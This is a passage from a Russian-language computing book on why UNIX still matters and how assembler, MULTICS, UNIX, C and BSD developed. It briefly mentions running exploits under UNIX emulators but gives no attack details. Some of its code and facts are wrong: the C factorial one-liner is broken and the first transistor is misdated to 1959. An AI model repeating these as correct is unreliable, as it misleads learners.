Но и сегодня в Internet существует огромное множество серверов, находящихся под управлением различных клонов операционной системы UNIIX, и маловероятно, чтобы Windows NT в обозримом будущем смогла бы их всех заменить.

В отличие от Windows NT, UNIX - сравнительно простая и поэтому достаточно стабильная операционная система, относительно непривередливая к конфигурации компьютера. Для нее существует огромное количество бесплатного программного обеспечения, созданного в рамках проекта GNU [48]. Не углубляясь в юридически тонкости достаточно заметить: пользователю помимо исходных текстов предоставляется право владения программой. То есть, скачав бесплатный экземпляр из Internet, любой может его видоизменять и продавать, извлекая коммерческую выгоду. Поклонникам Windows, вероятно, это покажется диким, но множество UNIX-приложений распространяются именно таким образом.

Потом, необходимо учитывать, - серверное программное обеспечение не меняется каждый день. Множество серверов работают, и будут работать на операционных системах, установленных добрый десяток лет назад. Среди WEB-серверов со значительным отрывом от конкурентов лидирует Apache, работающий под управлением UNIX; в качестве почтовых серверов чаще всего используется SendMail, до сих пор не перенесенный на платформу Windows, словом, так или иначе, - UNIX жива, и с этим приходится считаться. Можно не любить UNIX, или быть ее фанатичным приверженцем, но для глубокого понимания механизмов функционирования сети уметь работать с ней необходимо.

Конечно, для понимания книги вовсе необязательно устанавливать UNIX на своей машине [49]. Достаточно воспользоваться любым эмулятором UNIX (про эмуляторы UNIX рассказывается в главе «Как запускать UNIX приложения из-под Windows»). Разумеется, речь идет не только о внешней эмуляции, но и создании среды, в точности повторяющей все системные вызовы UNIX. Это позволяет компилировать, отлаживать и изучать на предмет поиска дыр любые серверные приложения, не выходя из операционной системы Windows.

Точно так можно компилировать и запускать множество эксплоитов, рассчитанных на работу в среде UNIX и не функционирующих в Windows. Дело в том, что UNIX дает большую свободу в формировании заголовков пакетов низкоуровневых протоколов, а эта операция необходима для некоторых атак. Коммуникационные функции Windows не предоставляют таких возможностей, выполняя большую часть работы автоматически. Отсюда возникло совершенно беспочвенное утверждение, якобы UNIX всемогущее Windows и только на ней можно заниматься «настоящим» хакерством. Чепуха! Дополнительная библиотека решает проблему, и необходимость осваивать UNIX ради одной лишь возможности запуска эксплоитов мгновенно отпадает.

Точно так, эмулятор позволит научиться работать с командой строкой популярных UNIX-оболочек. Казалось бы, никчемная в век графического интерфейса архаичность… но она оказывается необходимой для удаленного управления UNIX-машинами, о чем подробно рассказывается в главе «Удаленное выполнение программ».

Наконец, в Internet всюду можно встретить следы архитектуры UNIX. И неудивительно! Ведь базовые протоколы разрабатывались именно на этой операционной системе и до недавнего времени Internet определяли как «сеть UNIX-машин». Да что там, Internet - операционные системы MS-DOS и Windows 9x/NT возникли не на пустом месте, а ведут свою историю от UNIX…

Поэтому бессмысленно разводить дискуссию «какая операционная система круче». Все они в той или иной степени наследуют идентичные концепции, а максимальные различия выпадают на долю прикладных интерфейсов, к ядру операционных систем никаких боком не относящихся.

Но это разные миры, каждый со своей уникальной культурой, традициями, нравами и обычаями. Техническая близость набора реализуемых возможностей скрыта за нетехническим конфликтом культур и идеологий разработчиков разных поколений. Одним нравится командная строка, мощные языки скриптов, витиеватые конфигурационные файлы… Другие же предпочитают дружелюбный интерфейс пользователя, мышь вместо старушки клавиатуры и полностью автоматизированный процесс инсталляции.

Наивно доискиваться «до истины» и выяснять «кто прав». Это классический конфликт «отцов и детей». Старое поколение неохотно расстается со своими привычками и редко испытывает восторг от «новых заморочек». В свое время «настоящие программисты» относились к UNIX точно так, как сегодня фанатики UNIX пренебрежительно отзываются о Windows.

«Автор практически полностью пропустил эпоху СМ-ок, пересидев ее в машинном зале "Эльбрусов". Выдающаяся элегантность архитектуры этой системы, ее несомненная революционность в сочетании с классическими традициями программирования, положенными в ее основу, заставляли относиться к UNIX с легкой иронией - как к любопытной системе с развитым командным языком и с удачным набором небольшого числа хорошо сочетаемых базовых понятий.

А язык Си показался поначалу чуть ли не студенческой поделкой, сляпанной на скорую руку для себя и друзей, когда уже не было сил программировать на ассемблере и BCPL. Да, собственно, и сами создатели языка не слишком скрывали именно такой первоначальной ориентации Си»

Евгений Зуев

История возникновения и эволюции UNIX

O В этой главе:

O Первые ЭВМ

O Изобретение ассемблера

O Операционные системы RSX и OS/360

O История MUTLICS

O Возникновение UNIX

O Берклиевский бум

O UNIX в СССР

O Краткая история LINUX

“…Unix - это страшно неудобная, недружелюбная и во всем ущербная ОС - явление неожиданное в годы массовой "бытовой" компьютеризации. Больше того - это возврат в пещерный мир каменных топоров, палок-копалок и примитивного доисторического первобытнообщинного коммунизма…”

Андрей Зубинский

“ Такие были времена. Я, например, к этому времени освоил около 15 ассемблеров и кучу ненужных машин… ” писал Вадим Антонов в своих воспоминаниях. Пару десятков лет назад аппаратные ресурсы были катастрофически ограничены, и программисты работали большей частью в машинных кодах. Сначала текст программы составляли на бумаге (!), тщательно проверяли, переносили на перфоленту и « …относишь колоду карточек этак на 500, кладешь на полку. Через день (а если повезет, то и через час) на полке появляется распечатка » вспоминает Вадим Маслов [50].

Трудоемкость была неимоверная. Фрагмент перфокарты, приведенный ниже, содержит стандартную подпрограмму сложения двух целых беззнаковых двоичных чисел для микропроцессора КР 580.

???? · 0O0O00OOOO000O0OO0O0OOOO0000O0O0O000OOO0000000O0000000OO00O000OO · 000OOO0OOO0000O0000000OO00000O00OO00000O0O0OO0O0OO00O00O · · · · · ·

С появлением быстродействующих (по тем временам!) компьютеров второго поколения, возник значительный разрыв между временем, затраченным на составление программы, и скоростью работы машины. Наращивать вычислительную мощность без совершенствования приемов программирования стало бессмысленно - в связке «человек-компьютер» узким звеном оказался человек. Ведь совершенно все равно за день или за час выполнится программа, на составление которой ушел целый месяц, если полное время решения задачи в большей мере зависит не от быстродействия компьютера, а скорости программирования.

Огромным достижением стало изобретение ассемблера, позволяющего абстрагироваться от неудобного для человека машинного кода. Все команды получили легко запоминающиеся символьные имена - мнемоники, а большую часть работы по вычислению адресов переходов и смещений компьютер взял на себя. Но за удобства пришлось заплатить, - программа, написанная на ассемблере, требовала перевода в машинный код перед запуском - ассемблирования. Непосредственное общение с ЭВМ утрачивалось, а программисты изгонялись из машинных залов, уступая свое место оператору. Поэтому, многие представители старого поколения крайне негативно относились к новинке прогресса, считая программирование на ассемблере «ненастоящим».

Их можно понять, ведь приведенная выше «магическая» последовательность дырочек утрачивала всякую таинственность и на новом языке выглядела так [51]:

· MOV D,E
· PUSH B
· XRA A
· for:
· LDAX B
· ADC M
· STAX B
· INX B
· INX H
· DCR E
· JNZ for
· POP B
· MOV E,D
· RET

Ассемблерный листинг, в отличие от машинного кода, удобно читать и легко модифицировать. В тоже время сохраняется эффективность работы - каждая мнемоника эквивалента одной команде процессора, поэтому результат компиляции идентичен «ручному» машинному коду [52].

Врезка «информация»

Вероятно, одним из первых прототипов ассемблера был мнемокод, разработанный в 1955 году Михаилом Романовичем Шура-Бура и Лебедевым для М-20 - первой советской ЭВМ [53], поставляемой вместе с программным обеспечением. Благодаря этому работа с машиной значительно упрощалась, а программирование -ускорялось.

Ассемблер быстро завоевал популярность. С его помощью были созданы операционные системы, состоящие из многих сотен тысяч строк кода, гигантские математические библиотеки подпрограмм, разработаны пакеты моделирования сложных физических процессоров…

К сожалению, программы, написанные на ассемблере, совершенно непереносимы на другие платформы и чувствительны к модернизации железа - единственный выход переписать весь код заново экономически невыгоден, отчего и привязывает клиента к морально устаревшей конфигурации. Например, в одном из гидрометцентров Москвы машина БЭСМ-6 благодаря своей уникальной, ни на что не похожей архитектуре, исключающей всякую возможность портирования программного обеспечения на современные компьютеры, использовалась вплоть до 1991 года (и, вполне возможно, сохранилась до сегодняшних дней)!

Ведущие фирмы, оценив ситуацию, стали стремиться выпускать компьютеры приблизительно одинаковой архитектуры или прибегать к аппаратной эмуляции, пытаясь обеспечить приемлемую переносимость. К сожалению, полной совместимости с ранними моделями (как и с моделями сторонних производителей) обычно не достигалось, и многие уникальные программные наработки оказались утеряны.

Например, операционные системы IBM OS/360 и RSX-11 были написаны целиком на оптимизированном ассемблере и поражали всякого, кому доводилось их увидеть. Штука ли - RSX исполнялась на 16-разярдном компьютере PDP-11 и вместе с приложениями довольствовалась всего лишь 32 килобайтами оперативной памяти [54]! Но разработчики исхитрились поддержать вытесняющую многозадачность, иерархическую файловую систему, оверлеи (выгрузку неиспользуемых частей приложений на диск для экономии памяти) и планировку задач в реальном времени. Все это потребовало свыше восемнадцати месяцев напряженной работы коллектива талантливых программистов. К сожалению, компьютеры PDP-11 просуществовали недолго, а вместе с ними исчезла и RSX-11.

С IBM OS/360 связана другая история. «Голубой гигант» выпускал множество моделей компьютеров различного назначения и конфигураций, никак не совместимых между собой. Разумеется, это причиняло огромные неудобства как в создании программного обеспечения для всего парка машин, так и в поддержке потребителей. К примеру, маленькая контора из Кукурузной Долины покупала дешевый маломощный компьютер, а спустя пару лет, приобретая более совершенную модель, прибегла к IBM с претензиями о несовместимости, требуя вернуть деньги или заставить все заработать.

Так возникла идея единой серии совместимых друг с другом масштабируемых компьютеров, способных наращивать свою мощность простой установкой нового оборудования [55]. Цифра «360 [56]» в названии модели - символ полного, всеобъемлющего охвата рынка - от настольных «калькуляторов», до систем управления производством. Казалось, ничто не могло прекратить существование этой архитектуры, поэтому от программного обеспечения переносимости не требовалось и выбор ассемблера в качестве языка программирования операционной системы выглядел вполне логично. К тому же, окажись она написанной на языке высокого уровня, на младших машинах серии обеспечить приемлемую производительность стало бы невозможно. К сожалению, «единая серия» вскоре умерла, вытесненная персоналками, а вместе с ней канула в песок истории и OS/360.

Но, благодаря непрекращающемуся снижению цен на компьютеры, с некоторого времени появилась возможность писать программы на переносимых языках высокого уровня, - потери производительности окупались «долгоживучестью» продукта.

Кстати, неверно думать, что раньше и вовсе не существовало высокопроизводительных компьютеров. Так, например, компания Honeywell в 1973 году приступила к выпуску многопроцессорных компьютеров, оснащенных в стандартной конфигурации 768 КБ ОЗУ и дисковым накопителем 1.6 Гигабайт. Стоило это удовольствие порядка семи миллионов долларов, но быстро окупалось дешевым [57] программным обеспечением, которое уже не умирало при переходе на другую машину.

Врезка «исторический факт»*

В 1974 году в Стокгольме прошел первый чемпионат мира по шахматам, в котором соревновались между собой не люди, а… машины. По условиям конкурса программы должны были исполняться на собственном железе каждого из участников.

Если пренебречь небольшими расхождениями в алгоритмах, так или иначе сводящихся к перебору, победа зависела только от быстродействия компьютера, и при нормальном развитии событий принадлежала бы широко разрекламированной американской разработке «Chess 4».

Никому и в голову прийти не могло, что русские свою «Каиссу» выполнят на оптимизированном ассемблере! На отстойном (даже по тем временам) железе «Каисса» очень прытко уделала всех остальных претендентов, получив в конечном итоге звание шахматиста третьего разряда и первое место на конкурсе.

Забавно, но среди ее создателей не было ни одного шахматиста с разрядом, и использовались в ней не какие-то особо продвинутые высоко интеллектуальные алгоритмы, а простейшие операции перебора.

Но семь миллионов долларов это очень дорого, и такие компьютеры были доступны доступно лишь крупнейшим институтам и фирмам. Однако производители еще тогда предчувствовали закон Мура, официально сформулированный значительно позднее - в 1978 году, и в лице компаний Bell Labs, General Electric’s, Ford и MIT (Массачусетский Технологический Институт) в 1965 году вплотную занялись дорогостоящими экспериментами, целью которых было создание универсальной, переносимой, многопользовательской, высокопроизводительной операционной системы.

Врезка «исторический факт»

В 1965 году Гордона Мура (одного из основателей компании Intel) редакторы журнала Electronics попросили дать прогноз будущего полупроводниковых компонентов на ближайшие десятилетние. Он, проанализировав положение дел на рынке за последние три года (в 1959 году был изобретен первый транзистор, а в 1965 году на одном кристалле удалось разместить 64 компонента), пришел к выводу, что в течение нескольких лет число транзисторов в компьютерных чипах ежегодно будет удваиваться: "Ага, ежегодно происходит удвоение. Отлично, так, похоже, будет продолжаться и на протяжении следующих 10 лет". Карверон Мид в шутку назвал этот прогноз законом, но даже сам Мур не мог предположить сколь долго такая ситуация сможет продолжаться. С момента предсказания прошло свыше тридцати пяти лет, но и сегодня оно не потеряло своей актуальности.

«Если бы автомобилестроение эволюционировало со скоростью полупроводниковой промышленности, то сегодня «Роллс-Ройс» стоил бы 3 доллара, мог бы проехать полмиллиона миль на одном галлоне бензина, и было бы дешевле его выбросить, чем платить за парковку» пошутил как-то раз по этому поводу Мур.

Рисунок guyswithitbd.gif (рисунок взят с сайта компании Intel)

Для этого проекта General Electric пожертвовала высокопроизводительной 36-разрядной машиной GE-645 с неплохим и по сегодняшним меркам процессором, оснащенной превосходной канальной подсистемой ввода/вывода, - совершенно непозволительную для тех времен роскошь.

Проект получил название MULTICS (Multiplexed Information amp; Computing Service) [58]. Немногим позже, в апреле 1969 Bell Labs разочаруется в достигнутых результатах и прекратит свое участие в проекте, считая его неудачным, но идеи, заложенные в MULTICS, найдут применение в операционных системах RSX, VMS, UNIX и даже Windows NT. Все они в той или иной степени повторят решения, впервые найденные тогда, в далеких шестидесятых и практически не внесут ничего нового.

Врезка «замечание»

«Если какой-то продукт имел успех, то в следующем цикле проектирования разработчики "изобретут" его еще раз: скорее всего, это будет не радикально новая система, а усовершенствованная старая…

Возьмем проекты, которые долгие годы создавались компьютерными фирмами Восточного побережья США. Большая часть этих идей была позаимствована из исследований, выполненных в высших учебных заведениях вроде Массачусетского технологического института (MIT - Massachusetts Institute of Technology). В 60-е годы инженеры и ученые MIT работали над проектом Министерства обороны США под названием MULTICS, а компании Digital, Data General и нью-йоркская лаборатория IBM нанимали выпускников MIT и других университетов Востока США.

Компьютеры и операционные системы, разработанные этими фирмами, многое взяли из проектов, подобных MULTICS. В этой среде родилась и операционная система Unix, созданная в Bell Laboratories. Проекты этих компаний представляют собой вариации на одни и те же темы - вот почему они так походили друг на друга. Можно ли было ожидать здесь появления чего-либо радикально нового?» - скажет позже один из инженеров фирмы IBM.

В отличие от своих предшественниц, MULTICS разрабатывалась на интерпретируемом языке высокого уровня PL/1, созданного на основе АЛГОЛА, ФОРТРАНА и КОБОЛА и ориентированного в первую очередь на задачи моделирования. Это был довольно развитый язык, поддерживающий работу со списками и другими сложными структурами данных и первый, для своего времени, допускавший выделение памяти под переменные различными способами.

Так, например, программа, вычисляющая факториал, могла выглядеть следующим образом:

· FACT: PROC OPIONS (MAIN);

· DCL N DEC FIXED (2), Z FIXED(15);

· GET LIST(N);

· Z=6;

· DO I=4 TO N;

· Z=Z*I;

· END;

· PUT DATA(Z);

· END FACT;

Для сравнения, та же программа, написанная на языке Си, с легкостью умещается в одну строку:

· for (int i=1;i-n;i++) int z=z*i;

Но каким бы вычурным и многословным не был синтаксис PL/1, писалось на нем намного быстрее, чем на ассемблере, и к 1968 году (то есть спустя три года после начала проекта) MULTICS начала обретать черты законченной операционной системы.

Сдерживаемые катастрофическим недостатком оперативной памяти, разработчики додумались до виртуальной памяти со страничной организацией, широко используемой сегодня в таких операционных системах как UNIX и Windows. Виртуальная память имела сегментно-страничную организацию, отделяя сегменты данных от программного кода. Все сегменты имели атрибуты защиты, определяющие привилегии доступа. Перед каждой попыткой чтения/записи данных или исполнения кода чужого сегмента операционная система проверяла наличие прав на такую операцию, гарантируя надежную защиту критических участков кода от посягательств злоумышленников или некорректно работающих программ. К слову сказать, ни UNIX, ни Windows не обеспечивают подобной многоуровневой защиты. Отделяя прикладные приложения от ядра операционной системы, они в то же время позволяют уронить это самое ядро некорректно написанным драйвером, имеющим равные с ядром привилегии. Кстати, в Windows NT ядро - ни что иное, как совокупность драйверов.

Именно в MULTICS впервые появилось возможность динамического связывания модулей в ходе выполнения программы, более известная современному читателю по этим пресловутым DLL в Windows. Такой прием логически завершил эволюцию совершенствования оверлеев, обеспечив единый, унифицированный интерфейс для всех программ, позволяя сэкономить значительную часть оперативной памяти и процессорных ресурсов. Один и тот же модуль (например, подпрограмма вывода сообщений на экран) теперь по потребности динамически загружался с диска и мог использоваться несколькими приложениями одновременно. Правда, при такой организации возникали проблемы совместного использования библиотек. Допустим, некое приложение, загрузившее для своих нужд динамическую библиотеку и считающее ее «в доску своей», в действительности оказалось отосланным к уже загруженному в память сегменту, активно используемому и другими приложениями. Что произойдет, если приложение, считающее библиотеку своей, попытается ее слегка модифицировать (при условии, что необходимые права у него есть)? Разумеется, незамедлительно грохнутся все остальные приложения, для которых такой поворот событий окажется полной неожиданностью. Поэтому, разработчики придумали механизм «копирования при записи» - при первой же попытке модификации коллективно используемого сегмента создается его копия, предоставляемая в полное распоряжение модифицирующему коду. Немногие из современных систем поддерживают такую возможность! [59]

Иерархическая файловая система впервые появилась именно в MULTICS, а не в UNIX, как пытаются утверждать некоторые поклонники последней. Файловая система MULTICS не только допускала вложенные директории, но и объединяла в одну логическую древовидную структуру файлы, физически расположенные на разных носителях. На уровне реализации это выглядело двоичным деревом, в узлах которого находились именованные каталоги, а листьями выступали ссылки на файлы. Современные операционные системы UNIX и Windows используют упрошенный вариант такой схемы.

А проецируемые в память файлы (memory mapped files) родились вовсе не в Windows NT, а в том же MULTICS. Традиционно файл читался в память, а если этой памяти оказывалось недостаточно, считанные фрагменты вновь сбрасывались на диск. Кому-то из разработчиков MULTICS это показалось слишком неэкономичным, и он предложил спроецировать файл в виртуальную память [60], а затем и вовсе объединить подсистему ввода/вывода с менеджером виртуальной памяти. Таким образом, удалось просто и элегантно сократить число обращений к диску, попутно выкинув часть дублирующего кода из операционной системы.

Оконный интерфейс, обособленный в отдельную подсистему, также впервые появился в MULTICS. Конечно, ни о какой графике и мыши речь еще не шла, но взаимодействие с пользователями даже по современным понятиям было достаточно удобным и наглядным, а в то время и вовсе выглядело огромным прогрессом и шагом вперед.

Но, помимо очевидных успехов, не меньше было и недостатков. Система оказалась необычайно прожорлива и для эффективной работы требовала оборудования астрономической стоимости. Даже с учетом снижения цен на компьютеры, рынок потенциальных покупателей был смехотворно мал. Практически единственным пользователем MULTICS оказалась компания Ford. Остальные были не в состоянии выложить требуемую сумму (к тому же платить приходилось не только за «железо», но не в меньшей степени и за саму систему).

Видя все это, руководство Bell Labs посчитало свое дальнейшее присутствие в проекте бессмысленным и в 1969 году вышло из него. Но в MIT продолжали совершенствование системы и к октябрю того же года довели ее до законченного состояния, но, как и предрекала Bell Labs, своего покупателя система не нашла и осталась невостребованной.

С этого момента и начался отсчет истории системы UNIX. Объявив о прекращении участия в проекте, Bell Labs отозвала всех своих разработчиков, среди которых оказались Деннис Ритчи, Кен Томпсон, Мак Илрой и Джон Осанна. Движимые желанием использовать накопленный опыт для создания дешевого и нетребовательного к аппаратным ресурсам усеченного варианта MULTICS, они обратились к администрации руководства Bell Labs с просьбой приобрести для этой цели компьютер среднего класса и выделить некоторую сумму под проект. Однако компания, разочарованная провалом MULTICS, отказалась финансировать эту затею. Сейчас все больше историков сходятся на том, что формулировка проекта выглядела недостаточно убедительной и неаргументированной. По другому мнению: Bell Labs просто охладела к операционным системам и не видела в них никакого источника прибыли - одни расходы.

Однако отказ ничуть не смутил разработчиков. И Томпсон вместе с Ритчи и Кэнадаем приступили к проектированию файловой системы будущей операционной системы на бумаге! В процессе этого занятия в голову Томпсона пришла блестящая мысль - объединить подключенные к компьютеру устройства вместе с файлами в одну иерархическую систему. Переполненный желанием испытать свою идею на практике, он обнаружил в одном из «пыльных углов фирмы» редко используемый PDP-7 и получил разрешение руководства позаимствовать его во временное использование. Наученный горьким опытом, Томпсон ни слова не упомянул об операционной системе и объяснил свою потребность в компьютере… желанием перенести на него игровую программу «Space Travel» («Космическое Путешествие»), написанную им в том же 1969 году в ходе проекта MULTICS на языке Фортран под операционной системой GECOS (стандартной ОС для компьютеров General Electric). В то время к компьютерным играм относились куда серьезнее, чем сейчас, и заверения Томсона, что, переписав ее на ассемблер, он добьется значительного увеличения производительности, склонили руководство к временному выделению техники и освобождению его ото всех остальных дел на фирме.

К сожалению, на PDP-7 не существовало ни приемлемого ассемблера, ни библиотек для поддержки вычислений с плавающей точкой (а они требовались для игры). Поэтому, Томпсон использовал кросс ассемблер GECOS, умеющий формировать ленты, читаемые PDP-7, и создал необходимый инструментарий самостоятельно. В дальнейшем вся работа велась исключительно на компьютере PDP-7 без поддержки со стороны GECOS.

Как нетрудно догадаться, в первую очередь Томпсон приступил к экспериментам со своей новой файловой системой и с удивлением обнаружил: операции ввода/вывода значительно упрощаются, а программирование игры ускоряется. Параллельно с написанием игры создавался набор вспомогательных утилит для копирования, удаления, редактирования файлов и даже примитивный командный интерпретатор. В начале 1970 года все это хозяйство было уже достаточно хорошо отлажено и даже ухитрялось сносно работать. Но не было ни мультизадачности, ни продуманного и эффективного ввода/вывода, ни достойной организации процессов, но… все это работало, а созданный программный инструментарий оказался удобным и достаточно мощным, ни в чем не уступая утилитам, имеющимся на других ОС.

С легкой руки Брайна Керигана новая система в пародию на MULTICS получила название UNICS (Uniplexed Information amp; Computing Service). Позже, программисты с нестандартным мышлением, склонные к сокращениям и оптимизации, заменили “CS” на “X” и система приобрела название UNIX.

Но время, отведенное Томпсону, подошло к концу, и компьютер PDP-7 пришлось возвращать. Неизвестно чем бы все это закончилось, если бы не хитрость пройдохи Осанны, предложившего руководству вместо операционной системы финансировать систему подготовки текстов и патентов, в которой компания крайне нуждалась. Уловка удалась, и вскоре специально для разработчиков был приобретен новейший по тем временам компьютер PDP-11, стоимостью в 65 тысяч долларов, располагающий 24 килобайтами оперативной памяти и 512 килобайтными накопителями (впрочем, компьютер был настолько нов, что накопителей к нему еще не существовало). Перенос UNIX на новую платформу не представлял сложности (архитектуры обоих компьютеров были близки), но несколько затянутся по причине отсутствия накопителей для PDP-11. Когда же они, наконец, появились, система была без проблем перенесена.

Ко второй половине 1971 года UNIX начала использоваться в патентном бюро, значительно превосходя в удобности и мощности аналогичные имеющиеся на рынке системы. Поэтому, руководство дало добро на дальнейшее развитие проекта, и коллектив разработчиков сосредоточил все усилия над дальнейшим совершенствованием системы.

Перенос UNIX с PDP-7 на PDP-11 заставил разработчиков задуматься над путями повышения мобильности. К тому же уж очень не хотелось вновь корпеть над ассемблером. Некоторые даже порывались писать новую систему на PL/1, но это бы значительно ухудшило производительность, и вряд ли бы заслужило одобрение руководства. В качестве разумной компенсации предлагалось выбрать Фортран или новый язык Би - один из диалектов BCPL [61]. Би привлекал простотой и легкостью изучения, наглядностью листингов и неплохой производительностью. Так, в конце концов, выбор остановили на нем. Поскольку никакой реализации Би для платформы PDP-11 еще не существовало, Томпсону пришлось самостоятельно разрабатывать интерпретирующую систему.

Вторая версия UNIX появилась в 1972 году. Главным нововведением стала поддержка конвейера (pipe), позаимствованная МакИлроем из операционной системы DTSS (Dartmouth time-sharing System). Конвейеры обеспечивали простой и элегантный обмен данными между процессами даже в однозадачной среде и позволили сделать еще один революционный шаг вперед (кстати, конвейеры поддерживаются практически всеми современными операционными системами, в том числе и MS-DOS).

Использование интерпретируемого языка заметно ухудшило производительность системы, а в процессе работы выявились многочисленные недостатки, присущее Би. Самый неприятный из них - отсутствие типов переменных (точнее говоря, поддерживался всего один тип, равный машинному слову). Постоянные же преобразования с помощью специальных библиотечных функций порождали множество трудноуловимых ошибок. Когда всем это окончательно надоело, Деннис Ритчи, увлекающийся разработкой языков, решил усовершенствовать Би и добавил в него систему типов. Новый язык получил название Си, согласно второму символу в “BCPL”. Для улучшения производительности Томпсон предложил Ритчи написать компилятор, переводящий программы, написанные на Си в машинный код.

Очередная версия UNIX отличалась завидной производительностью, практически не уступая версии, написанной на ассемблере, но потребовала значительно меньше усилий для своего создания и не была связана с какой-то одной конкретной архитектурой. Из 13.000 строк программы операционной системы лишь 800 принадлежали низкоуровневым модулям, написанным на ассемблере.

И хотя Си первоначально ориентировался на систему UNIX, он быстро завоевал популярность и на других платформах. Вскоре появились реализации для IBM SYSTEM/370, Honeywell 6000, INTERDATA 8/32.

Но популярность Си несла и свои минусы. В отличие от множества других языков, Си - язык низкого уровня, близкий к ассемблеру. Он оперирует машинными типами данных такими, как символы, числа и указатели. Встроенная поддержка работы со строками, списками, массивами и другими сложными структурами данных в нем отсутствует.

«В языке "C" отсутствуют операции, имеющие дело непосредственно с составными объектами, такими как строки символов, множества, списки или с массивами, рассматриваемыми как целое. Здесь, например, нет никакого аналога операциям PL/1,оперирующим с целыми массивами и строками. Язык не предоставляет никаких других возможностей распределения памяти, кроме статического определения и механизма стеков, обеспечиваемого локальными переменных функций; здесь нет ни "куч" (HEAP), ни "сборки мусора", как это предусматривается в АЛГОЛЕ-68. Наконец, сам по себе "C" не обеспечивает никаких возможностей ввода-вывода: здесь нет операторов READ или WRITE и никаких встроенных методов доступа к файлам. Все эти механизмы высокого уровня должны обеспечиваться явно вызываемыми функциями.

Аналогично, язык "C" предлагает только простые, последовательные конструкции потоков управления: проверки, циклы, группирование и подпрограммы. Но не мультипрограммирование, параллельные операции, синхронизацию или сопрограммы…

Хотя отсутствие некоторых из этих средств может выглядеть как удручающая неполноценность ("выходит, что я должен обращаться к функции, чтобы сравнить две строки символов?!"), но удержание языка в скромных размерах дает реальные преимущества. Так как "C" относительно мал, он не требует много места для своего описания и может быть быстро выучен» - "Язык С" Б.В. Керниган, Д.М. Ричи.

В 1974 году четвертая версия UNIX, полностью написанная на языке Си, получила одобрение руководства, а вместе с ним и статус официальной операционной системы для применения в телефонии, используемой внутри компании.

Даже по тем временам UNIX представляла собой убогое зрелище. Виртуальная память не поддерживалась (ввиду отсутствия на PDP-11 Memory Management Unit - MNU), динамическое связывание отсутствовало, а файловая система при интенсивном использовании за счет фрагментации могла терять до 60% дискового пространства и ограничивала длину имен 14 символами, но зато был преодолен рубеж в ограничение «64 килобайта на файл» - имевший место в ранних версиях.

Но простота и надежность системы позволили ей с успехом использоваться в управлении цифровыми АТС (в то время происходило массовое обновление оборудования, усложнившее жизнь множеству телефонных взломщиков - фрикеров, но это уже другая история).

Врезка «замечание»

Хакеры PDP-10 были склонны рассматривать сообщество Unix как сборище выскочек, использующих инструментарий, который казался донельзя примитивным по сравнению с вычурными, изобилующими сложностями LISP и ITS. «Каменные ножи и медвежьи шкуры!» - ворчали эстеты.

«Краткая история страны хакеров»

Эрик С. Реймонд

«Основное влияние на выбор языка программирования оказывал Томпсон: он ненавидел языки с вычурным синтаксисом, заставляющие слишком много печатать на клавиатуре… Минимализм Томпсона, подкрепленный опытом всей команды, привел к тому, что в 1971 г. Ричи приступает к проектированию нового языка программирования, которому суждено стать в будущем основным рабочим инструментом сотен тысяч программистов…»

"UNIX - маленькая вселенная" Андрей Зубинский

Системой заинтересовались и другие компании, но… антимонопольное законодательство Америки запрещало Bell Labs заниматься никаким другим бизнесом, кроме телефонии, поэтому о коммерческом распространении системы никакой речи и быть не могло. Компании, к огромному неудовольствию, пришлось распространять UNIX без рекламы и сопровождения за число символическую цену.

Первая сторонняя инсталляция UNIX вне Bell Labs была осуществлена Нилом Граундвотером из компании New York Telephone, но спустя короткое время на Bell Labs обрушился шквал запросов UNIX.

Приблизительно в это же время на открытом симпозиуме АСМ прошла первая презентация операционной системы UNIX, сопровождаемая докладами Томпосна, которые произвели неизгладимое впечатление на профессора берклиевского университета Р. Фабри. Ему удалось убедить собственное руководство в необходимости приобретения PDP-11, и с января следующего года в Беркли проникла UNIX.

С этого момента завершается старая и открывается новая станица истории UNIX. Из игрушечного состояния усилиями Чака Хейкли, Била Джоя и Эрика Аламана она превратилась в полноценную многозадачную операционную систему тесно интегрированную с Internet. И неудивительно - ведь именно здесь были разработаны основные протоколы Internet под щедрым финансированием министерства обороны США.

Все началось с желания Билла Джоя довести систему «до ума», облегчив ее распространение и установку (ведь никаких автоматических инсталляторов в те времена еще не существовало). Билл собирал все доступное ему программное обеспечение в один пакет, получивший название BSD 1.0 (Berkeley Software Distribution), в который включил исходные тексты UNIX, компиляторы языков Си и Паскаль и даже свой собственный редактор текстов.

Задумка удалась и UNIX получила широкое распространение среди студентов, многие из которых оказались сильными программистами, жаждущими довести систему до потребного состояния. В первую очередь была полностью переписана файловая система. Устранилось досадное ограничение на длину имени файла в 14 символов, расширившись до 255 (поговаривают, некие горячие головы предлагали использовать шестнадцать разрядов вместо восьми, что увеличило бы длину имени с 255 до 65535 символов, другие же резонно возражали, дескать, зачем это нужно). Вторым заходом устранили дефрагментацию и несколько улучшили общую производительность.

Заинтересовавшись происходящими в Беркли событиями, Кен Томпсон в 1976 решил провести там весь свой академический отпуск, желая принять участие в исследованиях. С его помощью (или без его помощи - попробуй-ка теперь, разберись, как дело было) силами двух сотрудников Bell Labs Джона Рейзера и Тома Лондона UNIX была успешно перенесена на 32-разярдные компьютеры семейства VAX, которые допускали поддержку страничной виртуальной памяти. Очередная версия системы приобрела некоторые черты MULTICS, правда, не в самой лучшей реализации - упросив кодирование, разработчики жестко закрепили ядро системы в оперативной памяти, запрещая его свопинг на диск.

Джоя же больше всего донимала несовместимость различных терминалов, вынуждающая учитывать особенности управления каждой моделью, внося бесконечные изменения в программное обеспечение. Созданный им termcap практически полностью устранил проблемы совместимости, позволяя полностью абстрагироваться от конкретной реализаций.

Именно в Беркли появилась подсистема TCP/IP, интерфейс сокетов (активно использующихся в современных операционных системах, например, Windows и именуемых сокетами Беркли). Значительно усовершенствовались механизмы межпроцессорного взаимодействия и… вскоре в UNIX практически не осталось оригинального кода Bell Labs.

Кому-то пришла в голову мысль - переписать оставшиеся фрагменты и распространять UNIX бесплатно. Технически это казалось несложно, но возникало множество юридических препятствий, - компания [62] явно не хотела заполучить еще одного конкурента, и тут же обратилась с претензиями в суд.

